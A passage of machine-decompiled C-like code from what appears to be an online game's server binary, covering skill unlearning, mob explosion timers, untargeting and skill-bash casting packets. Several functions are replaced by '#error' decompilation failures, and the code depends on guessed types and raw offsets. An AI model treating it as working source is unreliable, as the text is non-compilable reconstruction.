DebugLogging::operator<<(&ChargedItemLog, "skillerase Null "); v15 = DebugLogging::operator<<(v14, v13); DebugLogging::operator<<(v15, &deb_LF); } } else { v4 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1384))(v1); namestring.ns_point.value = namestring.ns_point.mask & (namestring.ns_point.value + 1); v5 = (char *)&namestring + 256 * namestring.ns_point.value; *(_DWORD *)v5 = *(_DWORD *)v4; *((_DWORD *)v5 + 1) = *(_DWORD *)(v4 + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(v4 + 8); *((_DWORD *)v5 + 3) = *(_DWORD *)(v4 + 12); v5[16] = 0; v6 = DebugLogging::operator<<(&ChargedItemLog, "skillerase Null return "); if ( DebugLogging::dl_ActivAll ) { if ( v6->dl_Activ ) { DebugLogging::dl_FilePoint(v6); v7 = v6->dl_FilePointer; if ( v7 ) fprintf(v7, "%d"); } } v8 = DebugLogging::operator<<(v6, (char *)&stru_63450C); v9 = DebugLogging::operator<<(v8, v5); DebugLogging::operator<<(v9, &deb_LF); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SkillEraseItemUseSuccess"); } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (0054AEA0) -------------------------------------------------------- #error "54AEA0: undefined or illegal type '#593' (funcsize=56)" //----- (0054AF80) -------------------------------------------------------- void __thiscall CharacterPassiveList::cpl_UnLearn(CharacterPassiveList *this, unsigned __int16 skill) { CharacterPassiveList *v2; // ebp@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_UnLearn"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_UnLearn"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( skill >= 0x3E8u ) AssertClass::ac_AssertFail(&shineassert, "CharacterPassiveList::cpl_Store : Invalid passive", skill); if ( (unsigned __int8)(1 << skill % 8) & v2->cpl_Passive.bs_bitlist[skill / 8] && skill < v2->cpl_Passive.bs_maxbit ) v2->cpl_Passive.bs_bitlist[(unsigned int)skill >> 3] &= ~(1 << skill % 8); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_UnLearn"); } //----- (0054B0A0) -------------------------------------------------------- MobExplosionElement::MobExplosionBase *__thiscall ShineObjectClass::ShineServant::ss_ExplosionReady(ShineObjectClass::ShineServant *this) { ShineObjectClass::ShineServant *v1; // esi@1 int v2; // ecx@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineServant::ss_ExplosionReady"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineServant::ss_ExplosionReady"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)&v1->gap0[9176]; v1->ss_NextExplosion = clockwatch.cw_CurrTick + ((unsigned int)((unsigned int)(10 * *(_DWORD *)(v2 + 112)) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6); v1->ss_RestExplosion = *(_WORD *)(v2 + 108); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineServant::ss_ExplosionReady"); return (MobExplosionElement::MobExplosionBase *)&mobexplosealways; } //----- (0054B130) -------------------------------------------------------- MobExplosionElement::MobExplosionBase *__thiscall MobExplosionElement::MobExplosionBase::meb_Routine(MobExplosionElement::MobExplosionBase *this, ShineObjectClass::ShineServant *mob) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobExplosionElement::MobExplosionBase::meb_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobExplosionElement::MobExplosionBase::meb_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobExplosionElement::MobExplosionBase::meb_Routine"); return (MobExplosionElement::MobExplosionBase *)&mobexplosebase; } // 54B130: inconsistent function type and number of purged bytes // 6AFE60: using guessed type int (__stdcall **mobexplosebase)(int mob, int); //----- (0054B180) -------------------------------------------------------- MobExplosionElement::MobExplosionBase *__thiscall MobExplosionElement::MobExplosionEnemy::meb_Routine(MobExplosionElement::MobExplosionEnemy *this, ShineObjectClass::ShineServant *mob) { MobExplosionElement::MobExplosionBase *v2; // edi@1 MobExplosionElement::MobExplosionBase *result; // eax@2 int v4; // eax@3 char *v5; // ST08_4@3 int v6; // ST04_4@3 int v7; // eax@3 MobExplosionElement::MobExplosionBase *v8; // eax@4 MobExplosionElement::MobExplosionBase *v9; // esi@4 int v10; // [sp+24h] [bp+8h]@0 v2 = (MobExplosionElement::MobExplosionBase *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobExplosionElement::MobExplosionEnemy::meb_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobExplosionElement::MobExplosionEnemy::meb_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (*(int (__thiscall **)(ShineObjectClass::ShineServant *))(*(_DWORD *)&mob->gap0[0] + 2480))(mob) ) { dword_130DE188 = (int)mob; v4 = *(_DWORD *)&mob->gap0[78]; dword_130DE18C = *(_DWORD *)v4; dword_130DE190 = *(_DWORD *)(v4 + 4); alnse.alns_bp = 0; v5 = *(char **)(v10 + 96); v6 = *(_DWORD *)&mob->gap0[78]; v7 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(mob, v7, v6, v5, 0, (int)&alnse, 0, 65535); if ( AxialListNearScan::alns_GetNumber(&alnse) <= 0 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobExplosionElement::MobExplosionEnemy::meb_Routine"); result = v2; } else { v8 = ShineObjectClass::ShineServant::ss_ExplosionReady(mob); --funcallanalizer.fca_stackpoint; v9 = v8; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobExplosionElement::MobExplosionEnemy::meb_Routine"); result = v9; } } else { MobExplosionElement::MobExplosionBase::meb_Vanish(v2, (int)mob); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobExplosionElement::MobExplosionEnemy::meb_Routine"); result = (MobExplosionElement::MobExplosionBase *)&mobexplosebase; } return result; } // 54B180: inconsistent function type and number of purged bytes // 6AFE60: using guessed type int (__stdcall **mobexplosebase)(int mob, int); // 130DE188: using guessed type int dword_130DE188; // 130DE18C: using guessed type int dword_130DE18C; // 130DE190: using guessed type int dword_130DE190; //----- (0054B2F0) -------------------------------------------------------- MobExplosionElement::MobExplosionBase *__thiscall MobExplosionElement::MobExplosionTarget::meb_Routine(MobExplosionElement::MobExplosionTarget *this, ShineObjectClass::ShineServant *mob) { MobExplosionElement::MobExplosionBase *v2; // edi@1 int v3; // edx@1 int v5; // eax@3 int v6; // ebx@3 MobExplosionElement::MobExplosionBase *v7; // esi@9 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v9; // [sp+1Ch] [bp-4h]@1 int v10; // [sp+28h] [bp+8h]@0 v2 = (MobExplosionElement::MobExplosionBase *)this; _.fe_FunctionCode = "MobExplosionElement::MobExplosionTarget::meb_Routine"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobExplosionElement::MobExplosionTarget::meb_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobExplosionElement::MobExplosionTarget::meb_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)&mob->gap0[0]; v9 = 0; if ( !(*(int (__thiscall **)(ShineObjectClass::ShineServant *))(v3 + 2480))(mob) ) { MobExplosionElement::MobExplosionBase::meb_Vanish(v2, (int)mob); --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobExplosionElement::MobExplosionTarget::meb_Routine"); return (MobExplosionElement::MobExplosionBase *)&mobexplosebase; } v5 = (*(int (__thiscall **)(ShineObjectClass::ShineServant *))(*(_DWORD *)&mob->gap0[0] + 3560))(mob); v6 = v5; if ( !v5 || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 768))(v5) || !(unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v6 + 1152))(v6) || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v6 + 1152))(v6) == 3 || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v6 + 40))(v6) ) { MobExplosionElement::MobExplosionBase::meb_Vanish(v2, (int)mob); } else { if ( ShineObjectClass::ShineObject::so_DistanceSquar((int)mob, v6) <= (unsigned int)(*(_DWORD *)(v10 + 96) * *(_DWORD *)(v10 + 96)) ) { v7 = ShineObjectClass::ShineServant::ss_ExplosionReady(mob); v9 = -1; FunctionEntarance::_FunctionEntarance(&_); return v7; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobExplosionElement::MobExplosionTarget::meb_Routine"); return v2; } // 54B2F0: inconsistent function type and number of purged bytes // 6AFE60: using guessed type int (__stdcall **mobexplosebase)(int mob, int); //----- (0054B470) -------------------------------------------------------- MobExplosionElement::MobExplosionBase *__thiscall MobExplosionElement::MobExplosionAlways::meb_Routine(MobExplosionElement::MobExplosionAlways *this, ShineObjectClass::ShineServant *mob) { MobExplosionElement::MobExplosionBase *v2; // edi@1 #615 *misctable; // [sp+24h] [bp+8h]@0 v2 = (MobExplosionElement::MobExplosionBase *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobExplosionElement::MobExplosionAlways::meb_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobExplosionElement::MobExplosionAlways::meb_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(*(int (__thiscall **)(_DWORD))(*(_DWORD *)&mob->gap0[0] + 2480))(mob) || mob->ss_RestExplosion <= 0 ) { LABEL_7: MobExplosionElement::MobExplosionBase::meb_Vanish(v2, (int)mob); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobExplosionElement::MobExplosionAlways::meb_Routine"); return (MobExplosionElement::MobExplosionBase *)&mobexplosebase; } if ( mob->ss_NextExplosion <= clockwatch.cw_CurrTick ) { if ( MobExplosionElement::MobExplosionBase::meb_Explosion(v2, mob, misctable) ) --mob->ss_RestExplosion; if ( mob->ss_RestExplosion <= 0 ) goto LABEL_7; mob->ss_NextExplosion = clockwatch.cw_CurrTick + ((unsigned int)((unsigned int)(10 * *(_DWORD *)(*(_DWORD *)&mob->gap0[9176] + 112)) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobExplosionElement::MobExplosionAlways::meb_Routine"); return v2; } // 54B470: inconsistent function type and number of purged bytes // 6AFE60: using guessed type int (__stdcall **mobexplosebase)(int mob, int); //----- (0054B5C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SkillShiftCancel(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SkillShiftCancel"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SkillShiftCancel"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *((_BYTE *)v1 + 7428) & 0x10 ) { puts("ShineObjectClass::ShinePlayer::sp_SkillShiftCancel : Cancel"); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 3392))(v1); *((_BYTE *)v1 + 7428) &= 0xEFu; *((_DWORD *)v1 + 1796) = 0; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SkillShiftCancel"); } //----- (0054B680) -------------------------------------------------------- #error "54B680: undefined or illegal type '#593' (funcsize=43)" //----- (0054B740) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_HideTarget(void *this) { void *v1; // esi@1 __int16 v2; // di@1 char *v3; // eax@1 int (__stdcall **alhft)(int, int, int); // [sp+Ch] [bp-18h]@1 __int16 v5; // [sp+10h] [bp-14h]@1 char *v6; // [sp+14h] [bp-10h]@1 int v7; // [sp+20h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_HideTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_HideTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_WORD *)v1 + 2); v7 = 0; AxialListIterator::AxialListIterator((AxialListIterator *)&alhft); v3 = gpp.pp_Buffer; alhft = &AxialListHideFromTarget::_vftable_; v5 = v2; *(_WORD *)gpp.pp_Buffer = 9293; v6 = v3; *((_WORD *)v3 + 1) = -1; LOBYTE(v7) = 1; ShineObjectClass::ShineObject::so_AllInMap(v1, (int)&alhft, 0); LOBYTE(v7) = 0; alhft = &AxialListHideFromTarget::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&alhft); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_HideTarget"); } // 671E84: using guessed type int (__stdcall *AxialListHideFromTarget___vftable_)(int, int, int distancesquar); //----- (0054B820) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_Untarget(void *this) { void *v1; // esi@1 char *v2; // eax@1 int v3; // eax@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Untarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_Untarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 3400))(v1); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 3392))(v1); ShineObjectClass::ShineMobileObject::SkillCastStruct::scs_Clear((char *)v1 + 7184); *((_DWORD *)v1 + 8074) = 0; *((_BYTE *)v1 + 32288) = 0; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9293; *((_WORD *)v2 + 1) = -1; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v3 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 12))(v3, v1, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_TargetChange : Packet Too Long", 4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Untarget"); } //----- (0054B930) -------------------------------------------------------- #error "54B930: undefined or illegal type '#593' (funcsize=215)" //----- (0054BC50) -------------------------------------------------------- #error "54BC50: undefined or illegal type '#593' (funcsize=65)" //----- (0054BD20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_old_skill_blast(void *this, int idx, int a3, int skill, __int16 *empower) { void *v5; // esi@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_old_skill_blast"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_old_skill_blast"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShineMobileObject::smo_old_skill_blast(v5, idx, a3, skill, empower); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_old_skill_blast"); } //----- (0054BDD0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_SkillBash_Casting(void *this, int sklidx, int a3, int loc, int casting_millisec) { void *v5; // esi@1 int v6; // edx@1 int v7; // eax@1 unsigned int v8; // ecx@1 char *v9; // ecx@1 int v10; // ebx@1 int v11; // eax@1 int v12; // eax@2 unsigned int v13; // ecx@2 char *v14; // ecx@2 int v15; // eax@2 unsigned __int16 v16; // bp@2 int v17; // eax@2 unsigned __int16 v18; // dx@2 int v19; // edx@2 char *v20; // eax@2 int v21; // edi@2 int v22; // eax@4 char *v23; // eax@5 int v24; // ST04_4@5 int v25; // eax@5 int v26; // eax@6 unsigned int v27; // ecx@6 unsigned int v28; // ecx@7 char *v29; // ecx@7 unsigned __int16 v30; // ax@7 int v31; // ecx@7 int v32; // edx@7 char *v33; // eax@7 int v34; // ecx@7 int v35; // edi@7 int v36; // ebp@7 int v37; // ebx@7 int v38; // eax@9 char *v39; // eax@10 int v40; // ST04_4@10 int v41; // eax@10 int v42; // ecx@13 int v43; // ecx@14 unsigned __int16 v44; // bx@14 unsigned __int16 v45; // bp@15 int v46; // edx@16 int v47; // eax@16 unsigned __int16 v48; // di@16 bool v49; // cf@16 int v50; // ecx@18 int v51; // ecx@20 int v52; // edx@21 int v53; // edx@22 int v54; // edx@26 unsigned int v55; // ecx@27 char *v56; // ecx@27 char *v57; // [sp-4h] [bp-30h]@26 PROTO_NC_BAT_SKILLBASH_HIT_OBJ_START_CMD alchat; // [sp+14h] [bp-18h]@2 int v59; // [sp+1Ah] [bp-12h]@7 unsigned __int16 v60; // [sp+1Eh] [bp-Eh]@7 int v61; // [sp+28h] [bp-4h]@1 int sklidxa; // [sp+30h] [bp+4h]@14 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillBash_Casting"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_SkillBash_Casting"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = *(_DWORD *)v5; v61 = 0; (*(void (__thiscall **)(void *, signed int))(v6 + 3412))(v5, 4045); v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 1384))(v5); v8 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v8; v9 = (char *)&namestring + 256 * v8; *(_DWORD *)v9 = *(_DWORD *)v7; *((_DWORD *)v9 + 1) = *(_DWORD *)(v7 + 4); *((_DWORD *)v9 + 2) = *(_DWORD *)(v7 + 8); *((_DWORD *)v9 + 3) = *(_DWORD *)(v7 + 12); v9[16] = 0; ShineObjectClass::ShineMobileObject::SkillCastStruct::scs_Clear((char *)v5 + 7184); v10 = sklidx; v11 = *(_DWORD *)v5; *((_DWORD *)v5 + 1801) = sklidx; *((_WORD *)v5 + 3594) = **(_WORD **)(sklidx + 4); if ( a3 ) { v12 = (*(int (__thiscall **)(void *))(v11 + 1384))(v5); v13 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v13; v14 = (char *)&namestring + 256 * v13; *(_DWORD *)v14 = *(_DWORD *)v12; *((_DWORD *)v14 + 1) = *(_DWORD *)(v12 + 4); *((_DWORD *)v14 + 2) = *(_DWORD *)(v12 + 8); *((_DWORD *)v14 + 3) = *(_DWORD *)(v12 + 12); v14[16] = 0; *((_DWORD *)v5 + 1798) = a3; v15 = *(_DWORD *)(a3 + 78); *((_DWORD *)v5 + 1799) = *(_DWORD *)v15; *((_DWORD *)v5 + 1800) = *(_DWORD *)(v15 + 4); v16 = SkillEffectApply::SkillBlastEffectContainer::sbec_GetIndex(&skilleffectapplyer); v17 = *((_DWORD *)v5 + 1801); *((_WORD *)v5 + 3723) = v16; v18 = **(_WORD **)(v17 + 4); LOWORD(v17) = *(_WORD *)(a3 + 4); alchat.skill = v18; v19 = *(_DWORD *)v5; alchat.targetobj = v17; (*(void (__thiscall **)(void *))(v19 + 3508))(v5); v20 = gpp.pp_Buffer; v21 = *(_DWORD *)&alchat; *(_WORD *)gpp.pp_Buffer = 9294; v20 += 2; *(_DWORD *)v20 = v21; *((_WORD *)v20 + 2) = v16; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v22 = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 764))(v5); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v22 + 12))(v22, v5, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMobileObject::smo_SkillBash_BlastA : Packet Too Long", 8); } v23 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9295; *((_WORD *)v23 + 1) = *((_WORD *)v5 + 2); v23 += 4; *(_DWORD *)v23 = v21; *((_WORD *)v23 + 2) = v16; AxialListPacketBroadcast::AxialListPacketBroadcast((AxialListPacketBroadcast *)&alchat, &gpp, 10); v24 = *(_DWORD *)((char *)v5 + 78); LOBYTE(v61) = 1; v25 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v5, v25, v24, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v61) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)&alchat); } else { v26 = (*(int (__thiscall **)(void *))(v11 + 1384))(v5); v27 = namestring.ns_point.value + 1; if ( !loc ) { v55 = namestring.ns_point.mask & v27; namestring.ns_point.value = v55; v56 = (char *)&namestring + 256 * v55; *(_DWORD *)v56 = *(_DWORD *)v26; *((_DWORD *)v56 + 1) = *(_DWORD *)(v26 + 4); *((_DWORD *)v56 + 2) = *(_DWORD *)(v26 + 8); *((_DWORD *)v56 + 3) = *(_DWORD *)(v26 + 12); v56[16] = 0; (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v5 + 3412))(v5, 4043); v57 = "ShineObjectClass::ShineMobileObject::smo_SkillBash_Casting"; goto LABEL_28; } v28 = namestring.ns_point.mask & v27; namestring.ns_point.value = v28; v29 = (char *)&namestring + 256 * v28; *(_DWORD *)v29 = *(_DWORD *)v26; *((_DWORD *)v29 + 1) = *(_DWORD *)(v26 + 4); *((_DWORD *)v29 + 2) = *(_DWORD *)(v26 + 8); *((_DWORD *)v29 + 3) = *(_DWORD *)(v26 + 12); v29[16] = 0; *((_DWORD *)v5 + 1799) = *(_DWORD *)loc; *((_DWORD *)v5 + 1800) = *(_DWORD *)(loc + 4); v30 = SkillEffectApply::SkillBlastEffectContainer::sbec_GetIndex(&skilleffectapplyer); v31 = *((_DWORD *)v5 + 1801); *((_WORD *)v5 + 3723) = v30; LOWORD(v31) = **(_WORD **)(v31 + 4); v32 = *(_DWORD *)loc; v60 = v30; v33 = gpp.pp_Buffer; alchat.skill = v31; v34 = *(_DWORD *)(loc + 4); *(_WORD *)gpp.pp_Buffer = 9296; *(_DWORD *)&alchat.targetobj = v32; v35 = *(_DWORD *)&alchat; v59 = v34; v36 = *(_DWORD *)&alchat.index; v37 = *(_DWORD *)&alchat.index; v33 += 2; *(_DWORD *)v33 = *(_DWORD *)&alchat; *((_DWORD *)v33 + 1) = v36; *((_DWORD *)v33 + 2) = v37; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 14) ) { v38 = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 764))(v5); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v38 + 12))(v38, v5, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMobileObject::smo_SkillBash_BlastA : Packet Too Long", 14); } v39 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9297; *((_WORD *)v39 + 1) = *((_WORD *)v5 + 2); v39 += 4; *(_DWORD *)v39 = v35; *((_DWORD *)v39 + 1) = v36; *((_DWORD *)v39 + 2) = v37; AxialListPacketBroadcast::AxialListPacketBroadcast((AxialListPacketBroadcast *)&alchat, &gpp, 16); v40 = *(_DWORD *)((char *)v5 + 78); LOBYTE(v61) = 2; v41 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v5, v41, v40, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v61) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)&alchat); v10 = sklidx; } *((_DWORD *)v5 + 1801) = v10; *((_WORD *)v5 + 3594) = **(_WORD **)(v10 + 4); if ( casting_millisec < 0 ) casting_millisec = *(_WORD *)(*(_DWORD *)(v10 + 4) + 199); v42 = casting_millisec; if ( casting_millisec > 0 ) { v43 = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 1320))(v5); v44 = *(_WORD *)(*(_DWORD *)(v43 + 3248) + 12 * *(_WORD *)(v43 + 3254) + 4); for ( sklidxa = v43; ; v43 = sklidxa ) { v45 = *(_WORD *)(v43 + 3244); if ( v44 >= v45 ) break; v46 = *(_DWORD *)(v43 + 3248); v47 = v44; v48 = v44; v49 = v44 < v45; v44 = *(_WORD *)(v46 + 12 * v44 + 4); if ( v49 && *(_BYTE *)(v46 + 12 * v47 + 8) ) v50 = *(_DWORD *)(v46 + 12 * v47); else v50 = 0; v51 = *((_DWORD *)&abstateidentarray + 3 * *(_DWORD *)(v50 + 4)); if ( v48 < v45 && (v52 = v46 + 12 * v47, *(_BYTE *)(v52 + 8)) ) v53 = *(_DWORD *)v52; else v53 = 0; casting_millisec += (*(int (__stdcall **)(int))(*(_DWORD *)v51 + 24))(v53); } v42 = casting_millisec; } v54 = *(_DWORD *)v5; *((_DWORD *)v5 + 1796) = clockwatch.cw_CurrTick + ((signed int)((unsigned __int64)(10 * v42 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(10 * v42 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); (*(void (__thiscall **)(void *))(v54 + 3332))(v5); v57 = "ShineObjectClass::ShineMobileObject::smo_SkillBash_Casting"; LABEL_28: --funcallanalizer.fca_stackpoint; v61 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v57); } //----- (0054C2C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 signed int v5; // [sp-4h] [bp-1Ch]@2 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( **((_BYTE **)v4 + 892) == 6 ) { v5 = 8425; LABEL_8: (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 9, 69, v5); goto LABEL_9; } if ( !(_S17_9 & 1) ) { _S17_9 |= 1u; stru_130DE3C8.cmc_AllowMode = 4; atexit(_E18_19); } if ( (1 << **((_BYTE **)v4 + 892)) & stru_130DE3C8.cmc_AllowMode ) { ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_CMD(v4, netcmd, len, handle); v5 = 8424; goto LABEL_8; } (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 9, 69, 8426); LABEL_9: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_REQ"); } //----- (0054C3F0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::smo_SkillCooltimeSet(void *this) { void *v1; // esi@1 int v2; // ebx@1 char v3; // al@1 char result; // al@2 unsigned __int16 v5; // bp@3 unsigned __int16 v6; // bx@4 int v7; // edx@5 int v8; // eax@5 unsigned __int16 v9; // di@5 bool v10; // cf@5 int v11; // ecx@7 int v12; // ecx@9 int v13; // edx@10 int v14; // edx@11 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillCooltimeSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_SkillCooltimeSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v2 = funcallanalizer.fca_stackpoint++ + 1; v3 = *((_BYTE *)v1 + 7428); if ( v3 & 0x10 ) { funcallanalizer.fca_stackpoint = v2 - 1; 